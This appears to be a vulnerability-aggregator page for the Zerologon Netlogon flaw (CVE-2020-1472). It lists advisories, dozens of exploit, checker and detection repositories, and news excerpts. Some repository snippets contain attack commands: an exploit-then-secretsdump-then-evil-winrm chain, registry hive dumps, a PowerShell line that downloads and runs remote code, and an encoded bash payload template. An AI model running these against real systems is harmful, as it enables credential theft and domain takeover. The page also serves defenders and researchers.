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CVE-2020-1472

Published: 17/08/2020 Updated: 07/11/2023
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
CVSS v3 Base Score: 10 | Impact Score: 6 | Exploitability Score: 3.9
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

An elevation of privilege vulnerability exists when an attacker establishes a vulnerable Netlogon secure channel connection to a domain controller, using the Netlogon Remote Protocol (MS-NRPC), aka 'Netlogon Elevation of Privilege Vulnerability'.

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Synopsis Moderate: samba security and bug fix update Type/Severity Security Advisory: Moderate Topic An update for samba is now available for Red Hat Enterprise Linux 7Red Hat Product Security has rated this update as having a security impact of Moderate A Common Vulnerability Scoring System (CVSS) base s ...
Debian Bug report logs - #971048 samba: CVE-2020-1472 Package: src:samba; Maintainer for src:samba is Debian Samba Maintainers <pkg-samba-maint@listsaliothdebianorg>; Reported by: Salvatore Bonaccorso <carnil@debianorg> Date: Sat, 26 Sep 2020 19:21:02 UTC Severity: grave Tags: fixed-upstream, security, upstream ...
Arch Linux Security Advisory ASA-202009-17 ========================================== Severity: Critical Date : 2020-09-29 CVE-ID : CVE-2020-1472 Package : samba Type : access restriction bypass Remote : Yes Link : securityarchlinuxorg/AVG-1236 Summary ======= The package samba before version 4130-1 is vulnerable to access ...

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Proof of concept exploit for the ZeroLogin Netlogon privilege escalation vulnerability ...
In August, Microsoft patched CVE-2020-1472, which gives administrator access to an unauthenticated user on a Domain Controller Microsoft gave it a CVSS score of 10 portalmsrcmicrosoftcom/en-us/security-guidance/advisory/CVE-2020-1472#ID0EUGAC The Samba security team was not contacted before the announcement, which is very sparse on ...

Github Repositories

CVE 2020-1472 Script de validación

CVE-2020-1472 CVE 2020-1472 Script de validación Assumption: WinRM is enabled between domain controllers Required permissions: If child domains are present: Enterprise admin If single forest, single domain: Domain admin This script must be run on a primary domain controller with required permissions It will recursively query all

Enumerate AD through LDAP with a collection of helpfull scripts being bundled

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Exploit Code for CVE-2020-1472 aka Zerologon

CVE-2020-1472 Checker & Exploit Code for CVE-2020-1472 aka Zerologon Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string NOTE: It will likely break things in production environments (eg DNS functionality, communication with replication Domain Controller

A simple implementation/code smash of a bunch of other repos

CVE-2020-1472-Easy This is definitely not something you would want to run on anything that you care about Built from a writeup and work from @obfuscatee and another source Uses code from githubcom/dirkjanm/CVE-2020-1472 githubcom/SecuraBV/CVE-2020-1472 githubcom/VoidSec/CVE-2020-1472 githubcom/SecureAuthCorp/impacket Basically does a zerolog

CVE-2020-1472复现时使用的py文件整理打包

CVE-2020-1472 CVE-2020-1472复现时使用的py文件整理打包 examples路径下为exp文件所在目录,其他为导入包,忽略即可 对应博客记录文章:wwwsvenbeastcom/post/fu-xian-cve-2020-1472-netlogon-te-quan-ti-sheng-lou-dong/

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

Zerologon (CVE-2020-1472) This script is made for bulk checking your domain controllers for the Zerologon vulnerability Note Zerologon vulnerabilities are dangerous for your domain controller, dont use the exploit on production servers Arguments --ip            &nbs

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Installing Only works on Python 36 and newer! I

CVE-2020-1472 - Zero Logon vulnerability Python implementation

CVE-2020-1472 CVE-2020-1472 - Zero Logon vulnerability Python implementation Description A Python script which uses the Impacket library to test for CVE-2020-1472 - Zerologon vulnerability (credits to Secura research) The flaw stems from the Netlogon Remote Protocol, available on Windows domain controllers, which is used for various tasks related to user and machine authentic

CVE-2020-1472 Checker & Exploit Code for CVE-2020-1472 aka Zerologon Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string NOTE: It will likely break things in production environments (eg DNS functionality, communication with replication Domain Controller

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

Zerologon exploit for CVE-2020-1472

Zerologon-CVE-2020-1472 Zerologon exploit for CVE-2020-1472 # run the exploit against a target python CVE-2020-1472/cve-2020-1472-exploitpy <DC Name> <DC IP> # dump secrets secretsdumppy -just-dc -no-pass <DC Name>\$@<DC IP> # connect to server with admin hash evil-winrm -u administrator -i <Server IP> --

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! Link to the original research wwwsecuracom/blog/zero-logon) Installing Only

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

Ladon Moudle CVE-2020-1472 Exploit 域控提权神器

Ladon Moudle CVE-2020-1472 Exploit Usage: k8gegeorg/Ladon/cve-2020-1472html

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CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

cve-2020-1472 复现利用及其exp

CVE-2020-1472 POC mac环境下通过proxychains代理的方式在window域环境中复现该漏洞。 Environment DC(主域控制器): Domain User(域成员主机): 通过gost直接设置socks5正向代理。 Attack Hacker(攻击机): 设置proxychains4 vim /Users/xq17/proxychains/proxychainsconf 增加PrxoyList列表 [ProxyList] so

Zeek package to detect Zerologon

Zerologon Summary A Zeek detection package for CVE-2020-1472, also known as Zerologon, which is a CVSS 100 privilege escalation vulnerability against the Netlogon protocol for Windows Server domain controllers Notices By default, both notices are raised: Zerologon_Attempt indicates the requisite number of login attempts were made within a short period of time Zerologon_Pass

POC for checking multiple hosts for Zerologon vulnerability

Zerologon (CVE-2020-1472) This script is made for bulk checking your domain controllers for the Zerologon vulnerability Note Zerologon vulnerabilities are dangerous for your domain controller, dont use the exploit on production servers Arguments --ip            &nbs

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Zerologon Summary A Zeek detection package for CVE-2020-1472, also known as Zerologon, which is a CVSS 100 privilege escalation vulnerability against the Netlogon protocol for Windows Server domain controllers Notices By default, both notices are raised: Zerologon_Attempt indicates the requisite number of login attempts were made within a short period of time Zerologon_Pass

[CVE-2020-1472] Netlogon Remote Protocol Call (MS-NRPC) Privilege Escalation (Zerologon)

[CVE-2020-1472] Netlogon Remote Protocol Call (MS-NRPC) Privilege Escalation (Zerologon) The attack described here takes advantage of flaws in a cryptographic authentication protocol (insecure use of AES-CFB8) that proves the authenticity and identity of a domain-joined computer to the Domain Controller (DC) Due to incorrect use of an AES mode of operation it is possible to sp

https://github.com/dirkjanm/CVE-2020-1472

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Exploit steps Read the blog/whitepaper above so

CVE-2020-1472 Checker & Exploit Code for CVE-2020-1472 aka Zerologon Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string NOTE: It will likely break things in production environments (eg DNS functionality, communication with replication Domain Controller

PoC for Zerologon - all research credits go to Tom Tervoort of Secura

CVE-2020-1472 POC Requires the latest impacket from GitHub with added netlogon structures Do note that by default this changes the password of the domain controller account Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this! More info and original research here Installing Only works on Python 36 and newer! I

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Zabbix Template to monitor for Windows Event Viewer event's related to Netlogon Elevation of Privilege Vulnerability - CVE-2020-1472. Monitors event ID's 5827, 5828 & 5829. See: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472

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Post-compromise AD password reset

Post-compromise AD password reset Notes copied from us-certcisagov/ncas/alerts/aa20-283a If there is an observation of CVE-2020-1472 Netlogon activity or other indications of valid credential abuse detected, it should be assumed the APT actors have compromised AD administrative accounts, the AD forest should not be fully trusted, and, therefore, a new forest should be

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ZeroLogon testing script A Python script that uses the Impacket library to test vulnerability for the Zerologon exploit (CVE-2020-1472) It attempts to perform the Netlogon authentication bypass The script will immediately terminate when succesfully performing the bypass, and not perform any Netlogon operations When a domain controller is patched, the detection script will gi

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Scan for and exploit the zerologon vulnerability.

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ZeroLogon Exploitation Lab

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Zerologon Check and Exploit - Discovered by Tom Tervoort of Secura and expanded on @dirkjanm's cve-2020-1472 coded example. This tool will check, exploit and restore password to original state

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Nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion using Azure DevOps release pipelines.

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Test script for CVE-2020-1472 for both RPC/TCP and RPC/SMB

Zerologon test for SMB & RPC A python script based on SecuraBV script Demonstrates that CVE-2020-1472 can be done via RPC/SMB, and not only over RPC/TCP Additionaly, there is a random byte in the final client challange & client credential - to test against trivial IDS signatures The RPC/SMB scan runs by default Depending on the target server, some may requir

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Script to automate Checks for potential exploitation of CVE-2020-1472 (aka ZeroLogon) in the domain This is a very "quick and dirty" script that automates some of the leading artifects in determining an actual exploitation of CVE-2020-1472, compiled from multiple blogs Ideally, the 2nd check (for events from Security & System event logs) can be done from a S

Check for events that indicate non compatible devices -> CVE-2020-1472

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CVE-2020-1472 C++

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Test tool for CVE-2020-1472

ZeroLogon testing script A Python script that uses the Impacket library to test vulnerability for the Zerologon exploit (CVE-2020-1472) It attempts to perform the Netlogon authentication bypass The script will immediately terminate when successfully performing the bypass, and not perform any Netlogon operations When a domain controller is patched, the detection script will g

CVE-2020-1472复现流程

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PoC for Zerologon (CVE-2020-1472) - Exploit

CVE-2020-1472 - Zero-Logon POC This exploit requires you to use the latest impacket from GitHub Ensure impacket installation is done with netlogon structures added Note : By default, successful exploitation changes the password of the DC Account Allows DCSync Breaks communication with other domain controllers (Be careful!) Original Research & information her

CVE-2020-1472 Checker & Exploit Code for CVE-2020-1472 aka Zerologon Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string NOTE: It will likely break things in production environments (eg DNS functionality, communication with replication Domain Controllers

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zerologon script to exploit CVE-2020-1472 CVSS 10/10

zerologon zerologon script to exploit CVE-2020-1472 CVSS 10/10 Exploit code based on wwwsecuracom/blog/zero-logon and githubcom/SecuraBV/CVE-2020-1472 Original research and scanner by Secura, modifications by RiskSense Inc githubcom/risksense/zerologon To exploit, clear out any previous Impacket installs you have and install Impacket from g

Exploit for zerologon cve-2020-1472

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Patch and enforcement key assessment for CVE 2020-1472

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CFB8 Zero IV Attack ❯ python cfb8_zero_iv_attackpy [!] Attack Success Number of trials: 275 Key: b'U\x1e\x9eoKd\x18\xdf\x0c\x05\xfc3\x1f4\xd9\x8e' IV: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Plaintext: b'\x00\x00\x00\x00\x00\x00\x00\x00' Ciphertext: b'\x00\x00\x00\x00\x00\x00\x00\x00'

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Hack_For_Intranet 0x01 信息收集 1常见信息收集命令 #ipconfig: ipconfig /all ------> 查询本机 IP 段,所在域等 #net: net user ------> 本机用户列表 net localgroup administrators ------> 本机管理员[通常含有域用户] net user /domain ------> 查询域用户 net group /domain --

Invoke-ZeroLogon allows attackers to impersonate any computer, including the domain controller itself, and execute remote procedure calls on their behalf.

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This is a combination of the zerologon_testerpy code and the tool evil-winrm to get a shell I just added a "ossystem" to use evil-winrm Requirements: To get the Administrator NTLM HASH I recommend you to use secretsdump (tool) from impacket And, of course, you need to install evil-winrm This is just a simple code to put almost everything together Some referenc

域控打法笔记 CVE-2020-1472 zerologon 检测脚本 githubcom/SecuraBV/CVE-2020-1472 利用 githubcom/risksense/zerologon 置空密码 利用空密码dumphash 执行如下命令,将注册表下载到本地 reg save HKLM\SYSTEM systemsave reg save HKLM\SAM samsave reg save HKLM\SECURITY securitysave get systemsave get samsave get securitysav

CVE-2020-1472漏洞复现过程

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ZeroLogon testing script A Python script that uses the Impacket library to test vulnerability for the Zerologon exploit (CVE-2020-1472) It attempts to perform the Netlogon authentication bypass The script will immediately terminate when successfully performing the bypass, and not perform any Netlogon operations When a domain controller is patched, the detection script will g

AM0N-Eye AM0N-Eye is the most advanced Red Team & Adversary Simulation Software in the current C2 Market It can not only emulate different stages of an attacker killchain, but also provide a systematic timeline and graph for each of the attacks executed to help the Security Operations Team validate the attacks and improve the internal defensive mechanisms AM0N-Eye com

Dangerous Vulnerabilities Scanner

DVS Dangerous Vulnerabilities Scanner - scanner for finding dangerous and common vulnerabilities (more applicable on intranet) The scanner checks: SMB (MS17-010) RDP (Bluekeep, NLA) Cisco Smart Install IPMI (hash discloser) DC (Zerologon) LDAP (NULL Base) SNMP ('public' community name) Script from the githubcom/Kecatoca/Zerologon_test is used to check the

红队常用命令速查

command 收集渗透中会用到的常用命令 。 建议直接[Ctrl+F]查找 java命令执行 如下编码网站: ares-xcom/tools/runtime-exec/ r0yanxcom/tools/java_exec_encode/ wwwbugkunet/runtime-exec-payloads/ 手动编码操作 bash -c {echo,cGluZyAxMjcuMC4wLjE7ZWNobyAxID50ZXN0LnR4dA==}|{base64,-d}|{bash,-i}

Command line interface for Kenna API

A CLI for Kenna Platform Command line interface for Kenna Platform that help security engineers to get results quickly The Kenna Modules Implemented with The API Vulnerabilities Assets Asset Tagging Asset Groups Asset group reporting Connectors Connector Runs Users Roles Fixes Applications Application Reporting Dashboard Groups Data export CVEs Kenna VI+ Infe

Pentest-Tools-Collection Active Directory AMSI amsifail/ Tool Collections WinPwn githubcom/S3cur3Th1sSh1t/WinPwn Import-Module \WinPwnps1 iex(new-object netwebclient)downloadstring('rawgithubusercontentcom/S3cur3Th1sSh1t/WinPwn/master/WinPwnps1') Ghostpack githubcom/GhostPack Seatbelt, KeeThief, Rubeus, SharpUp Powersploit

C# Vulnerability Checker for CVE-2020-1472 Aka Zerologon

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A cheatsheet of tools and commands that I use to pentest Active Directory.

Pentesting Active Directory This is a cheatsheet of tools and commands that I use to pentest Active Directory It includes Windows, Impacket and PowerView commands, how to use Bloodhound and popular exploits such as Zerologon and NO-PAC Enumeration Initial system enumeration See local accounts net user See all of the accounts in the domain net user /domain Check if an acc

CVE-2020-1472 arp-scan Rang_ip nmap -A -vv -Pn IP_ADDR python3 set_empty_pwpy DC_NETBIOS_NAME DC_IP_ADDR python3 secretsdumppy -no-pass -just-dc DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR python3 wmiexecpy -hashes Hass_Passwd_User DOMAIN/User@dc_ip_addr #windows command whoami systeminfo hostname md test_dir echo test > test_file

Daily builds of common C# offensive tools, built via Github actions

SharpCollection UNDER Construction This repo is based off of githubcom/Flangvik/SharpCollection, it similiarly completes nightly builds of common C# offensive tools, fresh from their respective master branches built and released in a CDI fashion as a daily cron Github Action Github Actions To download the tools you want select the Actions Tab, select the tool build, s

C# Vulnerability Checker for CVE-2020-1472 Aka Zerologon

ZeroLogonChecker C# Vulnerability Checker for CVE-2020-1472 Aka Zerologon

Command line interface for Kenna API

A CLI for Kenna Platform Command line interface for Kenna Platform that help security engineers to get results quickly The Kenna Modules Implemented with The API Vulnerabilities Assets Asset Tagging Asset Groups Asset group reporting Connectors Connector Runs Users Roles Fixes Applications Application Reporting Dashboard Groups Data export CVEs Kenna VI+ Infe

cve-2020-1472 @toc 漏洞原理 原理比较复杂,有兴趣的可以看看下面链接上的文章wwwfreebufcom/articles/system/249860html 利用 1修改文件impacketdcerpcv5nrpc 需要利用githubcom/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpcpy文件替换本机上的nrpc文件。本机nrpc文件存储路径为:C:\Users\Administr

CFB8 Zero IV Attack ❯ python cfb8_zero_iv_attackpy [!] Attack Success Number of trials: 275 Key: b'U\x1e\x9eoKd\x18\xdf\x0c\x05\xfc3\x1f4\xd9\x8e' IV: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Plaintext: b'\x00\x00\x00\x00\x00\x00\x00\x00' Ciphertext: b'\x00\x00\x00\x00\x00\x00\x00\x00'

Tool for mass testing ZeroLogon vulnerability CVE-2020-1472

Tool for mass testing ZeroLogon vulnerability CVE-2020-1472 Steps to procedure For using this tool you need a hosts file with the ip adress and hostname separated by comma Hosts file sample 1111 , WIN-6641554161U 1111 , SERVERDATA 1111 , SERVER2012 1111 , DC01 1111 , SERVER

Zerologon Exploiter I used on Cobalt Strike

SharpZeroLogon Zerologon (CVE-2020-1472) Exploiter I used used while Red Teaming, within Cobalt Strike -> Execute-Assembly Heavily based on -> githubcom/CPO-EH/CVE-2020-1472_ZeroLogonChecker This version can : List local DCs Check for DC Vulnerability Exploit vulnerable DC Command line : SharpZeroLogonexe [target dc fqdn] <optional: -reset&

CVE-2020-1472漏洞复现过程

CVE-2020-1472 CVE-2020-1472漏洞复现过程 过程详见:blogcsdnnet/mukami0621/article/details/108605941

Modified the test PoC from Secura, CVE-2020-1472, to change the machine password to null

ZeroLogon - Exploit and Example Modified the test PoC from Secura, CVE-2020-1472, in order to change the machine's password to null Changing the password on the machine uses Microsoft's NetrServerPasswordSet2() function This exploit takes advantage of Impacket's nrpcpy module to call NetrServerPasswordSet2() Run the exploit /zerologon_NULLPASSpy <dc

Zerologon exploit with restore DC password automatically

zerologon-Shot Zerologon exploit with restore DC password automatically Table of Contents Getting Started Installation Usage Screenshots How it works? Disclaimer References Getting Started Installation Only need latest version of Impacket Clone the impacket repository git clone githubcom/fortra/impacket Install i

Exploit Code for CVE-2020-1472 aka Zerologon

Zerologon Exploit Code for CVE-2020-1472 aka Zerologon

Hi, I'm Memduh! 👨‍💻 Cybersecurity Projects: Active Directory Home Lab 📄 Certifications Offensive Security Certified Professional (OSCP) CompTIA Security+ ce Certification CompTIA Network+ ce Certification Hacking Platforms Projects TryHackme HackTheBox 📺 YouTube Videos Zerologon Exploit (CVE-2020-1472) Eternal Blue (MS 17-010) ChatGPT

Zer0Dump Zer0dump is an PoC exploit/tool for abusing the vulnerabilities associated with CVE-2020-1472 (Zerologon) in order to initiate a full system takeover of an unpatched Windows domain controller Special thanks to @dirkjanm and @SecureAuthCorp

Pentesting-Course-Notes This repository contains my personal notes from my pentesting course It serves as a reference for concepts and techniques that were new to me or that I found important to retain Level 1: Reconnaissance on the Customer's External Infrastructure Passive methods for searching domain names and subdomains: dnsdumpstercom shodanio censysio crtsh p

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Please, thanks, good show, cheers, ta

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The Register

If you're wondering which bugs in particular miscreants are exploiting to break into, or attempt to break into, US government networks, wonder no more. And then make sure you've patched them.
Uncle Sam's Dept of Homeland Security has this month identified at least six possible routes into the nation's computer systems, and the method used to gain total control over the machines once inside. Those six vulnerabilities are...
...plus CVE-2020-1472, aka ZeroLogon, in Microsoft Windows, w...

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The rather concerning design flaw in Microsoft's netlogon protocol is being exploited in the wild by miscreants, the Windows giant's security team has warned.
The mega-biz today confirmed it is seeing active attacks abusing the CVE-2020-1472 vulnerability, aka ZeroLogon, which can be exploited to bypass authentication and gain domain-level administrator access in corporate networks.
The protocol-level hole affects Windows Server and other software that implements MS-NRPC to provide d...

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Administrators running Samba as their domain controllers should update their installations as the open-source software suffers from the same ZeroLogon hole as Microsoft's Windows Server.
An alert from the project confirms its code, in certain configurations, is also vulnerable to the CVE-2020-1472 bug, which can be exploited to gain domain-level administrator access. The vulnerability lies in the design of Microsoft's Netlogon Remote Protocol (MS-NRPC), which Samba inherited as it supports...

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Attackers began scanning for vulnerabilities just five minutes after Microsoft announced there were four zero-days in Exchange Server, according to Palo Alto Networks.
Malicious people seeking to exploit flaws in general were doing so within a quarter of an hour of details being released, the company's Cortex Xpanse research team said today.
Although research director Rob Rachwald did not elaborate when The Register asked for more detail on its findings, a released report reckoned "s...

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Patch Tuesday Patch Tuesday used to be Microsoft's day to release patches. Now Adobe, Intel, and SAP are routinely joining the fun – with special guest star Red Hat this month.
If you've felt overwhelmed by the sheer number of security patches Microsoft has emitted this year, you are not alone. Patch watchers at the Zero Day Initiative said that, including the 120 product security bulletins posted this August, Microsoft is just 11 patches away from surpassing its 2019 full-year total wit...